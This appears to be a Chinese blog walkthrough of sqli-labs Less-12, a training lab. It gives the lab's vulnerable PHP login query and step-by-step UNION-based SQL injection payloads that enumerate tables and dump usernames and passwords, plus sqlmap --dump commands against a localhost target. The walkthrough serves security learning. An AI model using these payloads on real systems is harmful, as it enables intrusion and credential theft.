sqli-labs:Less-12关卡详细解析

1. 思路🚀

本关的SQL语句为:

sql 复制代码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 注入类型:字符串型(双引号、括号包裹)、POST请求
  • 提示:参数需以")闭合

php输出语句的部分代码:

php 复制代码
if($row)
{
 	//echo '<font color= "#0000ff">';	
 	echo "<br>";
	echo '<font color= "#FFFF00" font size = 4>';
	//echo " You Have successfully logged in\n\n " ;
	echo '<font size="3" color="#0000ff">';	
	echo "<br>";
	echo 'Your Login name:'. $row['username'];
	echo "<br>";
	echo 'Your Password:' .$row['password'];
	echo "<br>";
	echo "</font>";
	echo "<br>";
	echo "<br>";
	echo '<img src="../images/flag.jpg"  />';	
 	echo "</font>";
}

从源码下手便于我们更清晰的锁定回显情况,从而更深入的理解知识点,每篇文章我都会附加上重点代码部分。


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-12/,只需要将下面的url和post data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

url 复制代码
uname=1") order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探测字段数(报错说明字段数=2)

2.2. 判断回显点⚡

url 复制代码
uname=1") union select 1,2 #
&passwd=admin&submit=Submit

2.3. 获取基础信息⚡

url 复制代码
uname=1") union select database(),user() #
&passwd=admin&submit=Submit

2.4. 获取表名⚡

url 复制代码
uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
&passwd=admin&submit=Submit

2.5. 获取字段⚡

url 复制代码
uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #
&passwd=admin&submit=Submit

2.6. 获取数据⚡

url 复制代码
uname=1") union select group_concat(username),group_concat(password) from users #
&passwd=admin&submit=Submit

2.7. 参数汇总表⭐

参数 作用 示例
") 闭合符号 id=1')
# 注释符 #
order by 判断字段数 order by 3
union select 联合查询 union select 1,2,3
group_concat() 合并结果 group_concat(table_name)
information_schema 系统数据库 from information_schema.tables
table_schema 数据库名称 table_schema='security'
table_name 数据表名称 table_name='users'
column_name 字段名称 group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-12/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456",uname与passwd的值随意,具体如下:⭐

bash 复制代码
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-12/" --data="uname=1&passwd=123456" --batch

# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch

# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch

# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch

# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:

命令5截图:

SQLMap参数表⭐

参数 功能
--data 指定post请求
--batch 非交互模式
--dbs 枚举数据库
-D 指定数据库
-T 指定表
-C 指定列
--dump 导出数据

4. 总结🏁

本关卡与关卡11的解法一致,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
hengdonghui2 天前
Writeup 4 CTFHub injection
web·ctf·sql注入·整数型联合查询注入(有回显)
xiancai_xianyu6 天前
Text2SQL落地生产库前,SQL要过哪三道闸
前端·数据库·sql·sql注入·text2sql·ai agent开发·企业级ai框架
三84414 天前
sql注入
web安全·sql注入
hengdonghui16 天前
Writeup 4 N1BOOK SQL注入-1
ctf·sql注入·union·字符型注入
在猴站学算法19 天前
(SQL注入学习)无回显的报错注入(Error-Based)
学习·网络安全·sql注入·ctf竞赛
白帽攻防录21 天前
SRC 挖洞:Roundcube 预认证 SQL 注入深度复盘,CVE-2026-48842 preg_replace 转义绕过怎么打穿邮件系统
网络·数据库·sql·网络安全·sql注入
2601_962381582 个月前
【转】Python渗透测试工具:sqlmap
python·渗透测试·sql注入·sqlmap·数据库安全
Sagittarius_A*2 个月前
【好靶场】SQL 注入-布尔盲注-2
sql·web安全·网络安全·sql注入
Sagittarius_A*2 个月前
【好靶场】报错注入-sql注入-数字型
数据库·sql·web安全·sql注入
泷泷_2 个月前
CISP-PTE实操题(自写靶场与题类似或变型)
php·文件上传·cisp-pte·cisp·文件包含·sql注入